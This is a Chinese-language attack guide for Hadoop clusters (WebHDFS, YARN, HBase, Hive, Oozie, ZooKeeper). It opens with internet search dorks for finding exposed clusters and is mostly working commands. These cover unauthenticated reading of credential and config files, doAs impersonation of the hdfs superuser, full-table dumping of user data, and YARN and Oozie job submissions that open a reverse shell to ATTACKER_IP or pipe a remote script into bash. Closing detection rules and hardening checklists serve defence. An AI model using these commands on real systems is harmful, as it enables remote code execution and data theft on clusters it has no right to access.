Hadoop HDFS NameNode / YARN / HBase 大数据生态管理面打点与利用技术

┌─────────────────────────────────────────────────────────────┐
│                    Hadoop 大数据集群                         │
│                                                             │
│  ┌──────────┐    ┌──────────────┐    ┌──────────────┐      │
│  │ NameNode │    │  ResourceManager│   │ HBase Master │      │
│  │ :9870    │    │  :8088       │    │ :16010      │      │
│  │ WebHDFS  │    │  YARN REST   │    │ Stargate    │      │
│  └────┬─────┘    └──────┬───────┘    └──────┬───────┘      │
│       │                 │                    │              │
│  ┌────┴─────────────────┴────────────────────┴──────┐      │
│  │          内网 / 大数据专用网络                      │      │
│  │  ┌──────────┐  ┌──────────┐  ┌──────────┐       │      │
│  │  │DataNode  │  │NodeMgr   │  │RegionSvr │       │      │
│  │  │:9864     │  │:8042     │  │:16030    │       │      │
│  │  └──────────┘  └──────────┘  └──────────┘       │      │
│  └──────────────────────────────────────────────────┘      │
│                                                             │
│  攻击路径:                                                   │
│  ① NameNode WebHDFS → 任意文件读写 → 敏感配置/密钥窃取       │
│  ② YARN REST API → 提交恶意应用 → RCE                       │
│  ③ HBase Stargate → 表数据读写 → 业务数据窃取                │
│  ④ doAs 伪造 → 以 hdfs 超级用户身份操作                      │
│  ⑤ Kerberos 降级 → 绕过认证                                 │
└─────────────────────────────────────────────────────────────┘

nmap -sV -p 8020,8088,9000,9083,9864,9870,10000,11000,16010,16030,18080,2181 \
  --script=http-title,hadoop-namenode-info \
  -oN hadoop_scan.txt <target>

PORT     STATE SERVICE     VERSION
8020/tcp open  hadoop-ipc  Apache Hadoop RPC (Protocol 9)
8088/tcp open  http        Jetty 9.4.51.v20210516
9870/tcp open  http        Jetty 9.4.51.v20210516
16010/tcp open  http        Jetty 9.4.51.v20210516
2181/tcp open  zookeeper   ZooKeeper 3.7.1

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Jetty(9.4.51.v20210516)

<title>Hadoop NameNode (hostname)</title>

HTTP/1.1 200 OK
Content-Type: application/json
Server: Jetty(9.4.51.v20210516)

{"clusterInfo":{"id":1687234567890,"state":"STARTED",
 "haState":"ACTIVE","rmStateStoreMode":"UNDEFINED"}}

HTTP/1.1 200 OK
Content-Type: text/html

<title>HBase Master: hostname:16010</title>

# Shodan
http.html:"Hadoop NameNode"
http.html:"YARN ResourceManager"
http.html:"HBase Master"
port:9870 http.title:"NameNode"
port:8088 http.title:"Resource Manager"

# FOFA
body="Hadoop NameNode"
body="Resource Manager" && port="8088"
body="HBase Master" && port="16010"

curl -s "http://namenode:9870/webhdfs/v1/?op=LISTSTATUS" | python3 -m json.tool

{
  "FileStatuses": {
    "FileStatus": [
      {
        "pathSuffix": "tmp",
        "type": "DIRECTORY",
        "length": 0,
        "owner": "hdfs",
        "group": "supergroup",
        "permission": "777",
        "accessTime": 0,
        "modificationTime": 1687234567890,
        "blockSize": 0,
        "replication": 0
      },
      {
        "pathSuffix": "user",
        "type": "DIRECTORY",
        "length": 0,
        "owner": "hdfs",
        "group": "supergroup",
        "permission": "755",
        "accessTime": 0,
        "modificationTime": 1687234567890
      },
      {
        "pathSuffix": "apps",
        "type": "DIRECTORY",
        "length": 0,
        "owner": "hdfs",
        "group": "supergroup",
        "permission": "755"
      }
    ]
  }
}

for path in "/" "/tmp" "/user" "/user/hive" "/user/oozie" "/apps/hbase" "/system/yarn"; do
  echo "=== $path ==="
  curl -s "http://namenode:9870/webhdfs/v1${path}?op=LISTSTATUS" | \
    python3 -c "import sys,json; [print(f['pathSuffix'],f['type'],f['length']) for f in json.load(sys.stdin)['FileStatuses']['FileStatus']]" 2>/dev/null
done

curl -s "http://namenode:9870/webhdfs/v1/user/hive/warehouse/.hiveconfig?op=OPEN&noredirect=true"

curl -s "http://namenode:9870/webhdfs/v1/apps/hbase/conf/hbase-site.xml?op=OPEN"

curl -s "http://namenode:9870/webhdfs/v1/system/yarn/conf/capacity-scheduler.xml?op=OPEN"

curl -s "http://namenode:9870/webhdfs/v1/user/oozie/workflows/job.properties?op=OPEN"

# 第一步：获取 DataNode 重定向地址
REDIRECT=$(curl -s -o /dev/null -w "%{redirect_url}" \
  "http://namenode:9870/webhdfs/v1/user/hive/warehouse/target_db.db/credentials?op=OPEN")

# 第二步：从 DataNode 获取实际数据
curl -s "$REDIRECT"

# 第一步：创建文件（获取 DataNode 写入地址）
curl -s -X PUT "http://namenode:9870/webhdfs/v1/tmp/pwned.txt?op=CREATE&noredirect=true"

# 第二步：向 DataNode 写入数据
curl -s -X PUT -d "pwned by security audit" \
  "http://datanode:9864/webhdfs/v1/tmp/pwned.txt?op=CREATE&user.name=hdfs"

# 以 hdfs 超级用户身份操作
curl -s "http://namenode:9870/webhdfs/v1/?op=LISTSTATUS&doAs=hdfs"

# 以 yarn 用户身份读取其目录
curl -s "http://namenode:9870/webhdfs/v1/user/yarn?op=LISTSTATUS&doAs=yarn"

# 以任意业务用户身份写入文件
curl -s -X PUT "http://namenode:9870/webhdfs/v1/user/analyst/exfil.txt?op=CREATE&doAs=analyst&noredirect=true"

# 获取文件系统健康状态
curl -s "http://namenode:9870/fsck"

# 获取特定路径的块信息（含 DataNode 地址）
curl -s "http://namenode:9870/fsck?path=/&files=on&blocks=on"

# NameNode JMX
curl -s "http://namenode:9870/jmx" | python3 -m json.tool

# 获取所有 MBean
curl -s "http://namenode:9870/jmx?qry=Hadoop:service=NameNode,*"

# 获取配置属性
curl -s "http://namenode:9870/jmx?qry=Hadoop:service=NameNode,name=NameNodeStatus"

# 集群基本信息
curl -s "http://resourcemanager:8088/ws/v1/cluster/info" | python3 -m json.tool

# 响应示例
{
  "clusterInfo": {
    "id": 1687234567890,
    "state": "STARTED",
    "haState": "ACTIVE",
    "resourceManagerVersion": "3.3.6",
    "resourceManagerBuildVersion": "3.3.6",
    "hadoopVersion": "3.3.6",
    "totalMB": 65536,
    "reservedMB": 0,
    "availableMB": 32768,
    "allocatedMB": 32768,
    "totalVirtualCores": 64,
    "reservedVirtualCores": 0,
    "availableVirtualCores": 32,
    "allocatedVirtualCores": 32,
    "totalNodes": 8
  }
}

# 节点列表（含 NodeManager 地址）
curl -s "http://resourcemanager:8088/ws/v1/cluster/nodes" | python3 -m json.tool

# 调度器信息
curl -s "http://resourcemanager:8088/ws/v1/cluster/scheduler" | python3 -m json.tool

# 当前运行的应用
curl -s "http://resourcemanager:8088/ws/v1/cluster/apps?states=RUNNING" | python3 -m json.tool

curl -s -X POST "http://resourcemanager:8088/ws/v1/cluster/apps/new-application" | python3 -m json.tool

# 响应
{
  "application-id": "application_1687234567890_0042",
  "maximum-resource-capability": {
    "memory": 8192,
    "vCores": 4
  }
}

curl -s -X POST "http://resourcemanager:8088/ws/v1/cluster/apps" \
  -H "Content-Type: application/json" \
  -d '{
    "application-id": "application_1687234567890_0042",
    "application-name": "security-audit",
    "application-type": "YARN",
    "am-container-spec": {
      "commands": {
        "command": "/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\""
      },
      "environment": {
        "CLASSPATH": "{{CLASSPATH}}:./*"
      },
      "local-resources": {
        "entry": [{
          "key": "script.sh",
          "value": {
            "resource": "hdfs://namenode:8020/tmp/script.sh",
            "type": "FILE",
            "visibility": "APPLICATION",
            "size": 100,
            "timestamp": 1687234567890
          }
        }]
      }
    },
    "unmanaged-AM": false,
    "max-app-attempts": 1,
    "resource": {"memory": 1024, "vCores": 1},
    "queue": "default"
  }'

# 使用 hadoop 自带的 distributedshell 示例
hadoop jar hadoop-mapreduce-examples.jar distributedshell \
  -jar hadoop-mapreduce-examples.jar \
  -shell_command "id && hostname && cat /etc/passwd" \
  -num_containers 3 \
  --appname security-test

# 先上传恶意 JAR 到 HDFS
curl -s -X PUT "http://namenode:9870/webhdfs/v1/tmp/dshell.jar?op=CREATE&noredirect=true"

# 然后通过 YARN API 提交分布式 Shell 应用
curl -s -X POST "http://resourcemanager:8088/ws/v1/cluster/apps" \
  -H "Content-Type: application/json" \
  -d '{
    "application-id": "application_1687234567890_0043",
    "application-name": "dist-shell",
    "application-type": "YARN",
    "am-container-spec": {
      "commands": {
        "command": "hadoop jar /opt/hadoop/share/hadoop/mapreduce/hadoop-mapreduce-examples-*.jar distributedshell -shell_command \"curl http://ATTACKER_IP:8888/shell.sh | bash\" -num_containers 8"
      }
    },
    "resource": {"memory": 1024, "vCores": 1}
  }'

# 获取所有应用的日志 URL
curl -s "http://resourcemanager:8088/ws/v1/cluster/apps?states=FINISHED&limit=50" | \
  python3 -c "
import sys, json
apps = json.load(sys.stdin)['apps']['app']
for app in apps:
    print(f\"{app['id']} | {app['name']} | {app['user']} | {app['trackingUi']}\")
"

# 通过 NodeManager 获取容器日志
curl -s "http://nodemanager:8042/ws/v1/node/containers" | python3 -m json.tool

# 读取特定容器日志
curl -s "http://nodemanager:8042/ws/v1/node/containers/container_1687234567890_0042_01_000001/logs"

# Timeline Server v1
curl -s "http://timelineserver:8188/ws/v1/timeline/DS_APP_ATTEMPT" | python3 -m json.tool

# Timeline Server v2
curl -s "http://timelineserver:8188/ws/v2/timeline/apps" | python3 -m json.tool

# 集群状态
curl -s -H "Accept: application/json" "http://hbase-master:8085/status/cluster"

# 版本信息
curl -s -H "Accept: application/json" "http://hbase-master:8085/"

# 列出所有表
curl -s -H "Accept: application/json" "http://hbase-master:8080/"

{
  "regions": 156,
  "requestsPerSecond": 1234.5,
  "averageLoad": 19.5,
  "aliveNodes": 8,
  "deadNodes": 0,
  "master": "hbase-master:16010",
  "backupMasters": [],
  "tables": ["hbase:meta", "hbase:namespace", "user_profiles", "order_data", "audit_log"]
}

# 获取表 schema
curl -s -H "Accept: application/json" "http://hbase-master:8080/user_profiles"

# 读取特定行
curl -s -H "Accept: application/json" \
  "http://hbase-master:8080/user_profiles/row_key_001"

# 响应示例
{
  "Row": [{
    "key": "cm93X2tleV8wMDE=",
    "Cell": [{
      "column": "aOm5hbWU=",
      "timestamp": 1687234567890,
      "$": "Sm9obiBEb2U="
    }, {
      "column": "aOZW1haWw=",
      "timestamp": 1687234567890,
      "$": "am9obi5kb2VAY29ycC5jb20="
    }, {
      "column": "aDpwYXNzd29yZF9oYXNo",
      "timestamp": 1687234567890,
      "$": "NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk="
    }]
  }]
}

# 批量解码
echo "cm93X2tleV8wMDE=" | base64 -d; echo
echo "aOm5hbWU=" | base64 -d; echo
echo "Sm9obiBEb2U=" | base64 -d; echo

# 创建全表 Scanner
SCANNER_ID=$(curl -s -X PUT \
  -H "Accept: application/json" \
  -H "Content-Type: application/json" \
  -d '{"batchSize": 100}' \
  "http://hbase-master:8080/user_profiles/scanner" \
  -D - | grep -i "location" | awk '{print $2}' | tr -d '\r\n')

# 循环读取所有数据
for i in $(seq 1 1000); do
  RESULT=$(curl -s -H "Accept: application/json" \
    "http://hbase-master:8080/user_profiles/scanner/${SCANNER_ID}")
  echo "$RESULT" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
for row in data.get('Row', []):
    key = base64.b64decode(row['key']).decode()
    for cell in row.get('Cell', []):
        col = base64.b64decode(cell['column']).decode()
        val = base64.b64decode(cell.get('\$', '')).decode(errors='replace')
        print(f'{key} | {col} | {val}')
" 2>/dev/null
done

# 删除 Scanner
curl -s -X DELETE "http://hbase-master:8080/user_profiles/scanner/${SCANNER_ID}"

# 写入恶意数据
curl -s -X PUT \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{
    "Row": [{
      "key": "bWFsaWNpb3VzX3Jvdw==",
      "Cell": [{
        "column": "aDphY2NvdW50X3R5cGU=",
        "$": "YWRtaW4="
      }]
    }]
  }' \
  "http://hbase-master:8080/user_profiles/malicious_row"

# Master 状态页面
curl -s "http://hbase-master:16010/master-status"

# JMX
curl -s "http://hbase-master:16010/jmx" | python3 -m json.tool

# 获取配置
curl -s "http://hbase-master:16010/dump"

# 步骤 1：上传恶意 Coprocessor JAR 到 HDFS
curl -s -X PUT "http://namenode:9870/webhdfs/v1/tmp/evil-coprocessor.jar?op=CREATE&noredirect=true"

# 步骤 2：通过 HBase Shell 或 Thrift API 修改表配置加载 Coprocessor
# 这通常需要 HBase Shell 访问或 Master Admin API
# hbase> alter 'user_profiles', 'coprocessor'=>'hdfs://namenode:8020/tmp/evil-coprocessor.jar|com.evil.EvilCoprocessor|1001'

# 使用 beeline 客户端连接
beeline -u "jdbc:hive2://hiveserver:10000/default" -n "" -p ""

# 使用 PyHive
python3 -c "
from pyhive import hive
conn = hive.Connection(host='hiveserver', port=10000, username='')
cursor = conn.cursor()
cursor.execute('SHOW DATABASES')
for db in cursor.fetchall():
    print(db)
"

# HiveServer2 HTTP 模式（端口 10001）
beeline -u "jdbc:hive2://hiveserver:10001/default;transportMode=http;httpPath=cliservice" \
  -n "" -p ""

-- 列出所有数据库
SHOW DATABASES;

-- 列出所有表
USE sensitive_db;
SHOW TABLES;

-- 读取表数据
SELECT * FROM user_credentials LIMIT 100;

-- 读取 HDFS 文件（通过 Hive 外部表）
CREATE EXTERNAL TABLE exfil (line STRING)
LOCATION 'hdfs://namenode:8020/user/hive/warehouse/other_db.db/secrets/';
SELECT * FROM exfil;

# 创建 job.properties
cat > job.properties << 'EOF'
nameNode=hdfs://namenode:8020
jobTracker=resourcemanager:8050
queueName=default
oozie.wf.application.path=hdfs://namenode:8020/tmp/malicious-wf.xml
EOF

# 提交工作流
curl -s -X POST "http://oozie:11000/oozie/v2/jobs?action=submit" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<workflow-app name="security-test" xmlns="uri:oozie:workflow:0.5">
  <start to="shell-action"/>
  <action name="shell-action">
    <shell xmlns="uri:oozie:shell-action:0.3">
      <exec>/bin/bash</exec>
      <argument>-c</argument>
      <argument>id; hostname; cat /etc/passwd</argument>
    </shell>
    <ok to="end"/>
    <error to="fail"/>
  </action>
  <kill name="fail">
    <message>Workflow failed</message>
  </kill>
  <end name="end"/>
</workflow-app>'

# 检查 NameNode 是否启用 Kerberos
curl -s "http://namenode:9870/conf" | grep -i "kerberos"

# 检查 hadoop.security.authentication 配置
curl -s "http://namenode:9870/conf" | grep "hadoop.security.authentication"

# 如果返回 "simple" 则表示未启用 Kerberos
# <property><name>hadoop.security.authentication</name><value>simple</value></property>

# 某些端点可能不需要 Kerberos 票据
curl -s "http://namenode:9870/webhdfs/v1/?op=LISTSTATUS"

# 如果返回数据而非 401，说明 WebHDFS 未强制认证

# 直接以 hdfs 用户访问
curl -s "http://namenode:9870/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"

# 通过 HADOOP_USER_NAME 环境变量
export HADOOP_USER_NAME=hdfs
hdfs dfs -ls /

# 获取服务器状态
echo "stat" | nc namenode 2181

# 输出示例：
# Zookeeper version: 3.7.1
# Latency min/avg/max: 0/1/245
# Received: 1234567
# Sent: 1234567
# Connections: 42
# Outstanding: 0
# Zxid: 0x1234abcd
# Mode: leader

# 获取配置
echo "conf" | nc namenode 2181

# 获取连接列表
echo "cons" | nc namenode 2181

# 获取所有 znode 路径
echo "dump" | nc namenode 2181

# 获取环境变量
echo "envi" | nc namenode 2181

# 使用 zkCli 连接
zkCli.sh -server namenode:2181

# 浏览 znode
[zk: namenode:2181(CONNECTED)] ls /
[hadoop-ha, hbase, kafka, zookeeper, hadoop]

[zk: namenode:2181(CONNECTED)] ls /hadoop-ha
[my-hadoop-cluster]

# 读取 Hadoop HA 配置（含 NameNode 地址）
[zk: namenode:2181(CONNECTED)] get /hadoop-ha/my-hadoop-cluster/ActiveStandbyElectorLock

# 读取 HBase 元数据
[zk: namenode:2181(CONNECTED)] ls /hbase/meta-region-server
[zk: namenode:2181(CONNECTED)] get /hbase/meta-region-server

# 读取 Kafka broker 信息
[zk: namenode:2181(CONNECTED)] ls /kafka/brokers/ids
[0, 1, 2]
[zk: namenode:2181(CONNECTED)] get /kafka/brokers/ids/0

# Sigma 规则 — Hadoop 组件异常访问
title: Hadoop WebHDFS 外部访问
id: hadoop-webhdfs-external
status: experimental
description: 检测来自非内网段的 WebHDFS API 访问
logsource:
  category: firewall
detection:
  selection:
    dst_port:
      - 9870
      - 50070
      - 9864
      - 50075
    src_ip|not:
      - "10.0.0.0/8"
      - "172.16.0.0/12"
      - "192.168.0.0/16"
  condition: selection
level: high

title: YARN 应用提交异常
id: yarn-app-submit-anomaly
status: experimental
description: 检测异常的 YARN 应用提交行为
logsource:
  product: hadoop
  service: resourcemanager
detection:
  selection:
    event_type: "app_submit"
  filter_internal:
    user:
      - "yarn"
      - "hdfs"
      - "hive"
      - "oozie"
  filter_known_app:
    app_type:
      - "MAPREDUCE"
      - "SPARK"
  condition: selection and not filter_internal
level: medium

# NameNode 审计日志位于 $HADOOP_HOME/logs/hadoop-hdfs-audit-namenode-*.log
# 关键审计事件

# 检测异常用户操作
grep "ugi=unknown" /var/log/hadoop/hdfs-audit.log
grep "ugi=root" /var/log/hadoop/hdfs-audit.log | grep -v "expected_user"

# 检测 doAs 伪造
grep "doAs=" /var/log/hadoop/hdfs-audit.log

# 检测批量文件读取（数据窃取）
grep "op=open" /var/log/hadoop/hdfs-audit.log | \
  awk '{print $NF}' | sort | uniq -c | sort -rn | head -20

# 检测敏感路径访问
grep -E "op=open.*(/user/hive|/apps/hbase|/system/yarn|/tmp)" \
  /var/log/hadoop/hdfs-audit.log

# 检测异常应用提交
curl -s "http://resourcemanager:8088/ws/v1/cluster/apps?states=RUNNING" | \
  python3 -c "
import sys, json
apps = json.load(sys.stdin).get('apps', {}).get('app', [])
suspicious_keywords = ['shell', 'reverse', 'ncat', 'nc ', 'bash', 'python', 'perl', 'ruby']
for app in apps:
    name = app.get('name', '').lower()
    user = app.get('user', '')
    if any(kw in name for kw in suspicious_keywords):
        print(f'SUSPICIOUS: {app[\"id\"]} | user={user} | name={app[\"name\"]}')
    if user not in ['yarn', 'hdfs', 'hive', 'spark', 'oozie', 'flink']:
        print(f'UNKNOWN USER: {app[\"id\"]} | user={user} | name={app[\"name\"]}')
"

# HBase 审计日志
grep -E "(READ|WRITE|CREATE|DELETE)" /var/log/hbase/hbase-audit.log | \
  grep -v "user=hbase" | head -50

# 检测异常 Scanner 创建
grep "createScanner" /var/log/hbase/hbase-audit.log

# 检测 Coprocessor 加载
grep -i "coprocessor" /var/log/hbase/hbase-master.log

[ ] NameNode WebHDFS (9870) 仅允许内网访问，配置 SPNEGO 认证
[ ] YARN ResourceManager (8088) 启用 Kerberos 认证
[ ] HBase Stargate (8080) 限制绑定地址或禁用
[ ] HBase Thrift (9090) 限制绑定地址或禁用
[ ] 禁用 WebHDFS doAs 伪造：dfs.webhdfs.impersonation.enabled=false
[ ] 配置 hadoop.proxyuser 白名单，限制代理用户来源
[ ] 启用 HDFS 审计日志并接入 SIEM
[ ] YARN 配置资源配额和队列 ACL
[ ] HBase 启用 Cell 级别安全（Cell Security）
[ ] ZooKeeper 启用 ACL 和 SASL 认证
[ ] 所有组件启用 Kerberos 认证（hadoop.security.authentication=kerberos）
[ ] HiveServer2 启用 LDAP/Kerberos 认证
[ ] Oozie 启用认证（oozie.authentication.type=kerberos）
[ ] 定期审计 HDFS 目录权限，避免 /tmp 目录权限过宽
[ ] 配置 Ranger 或 Sentry 进行细粒度权限控制
[ ] 升级 Hadoop 到最新安全版本，修补已知 CVE

[ ] 端口扫描：9870, 8020, 8088, 8042, 8080, 8085, 9090, 10000, 11000, 16010, 2181
[ ] NameNode WebHDFS 未授权访问测试（LISTSTATUS / OPEN）
[ ] doAs 用户伪造测试
[ ] 敏感文件读取（Hive 配置、HBase 配置、Oozie 工作流）
[ ] 文件写入测试（/tmp 目录）
[ ] YARN ResourceManager 未授权访问测试
[ ] YARN 应用提交测试（验证 RCE 可行性）
[ ] YARN 应用日志信息泄露测试
[ ] HBase Stargate REST API 未授权访问测试
[ ] HBase 表数据读取/写入测试
[ ] HiveServer2 未授权访问测试
[ ] Oozie 工作流提交测试
[ ] ZooKeeper 四字命令信息泄露测试
[ ] Kerberos 认证状态检查
[ ] JMX 端点信息泄露测试
[ ] 各组件版本信息收集与 CVE 匹配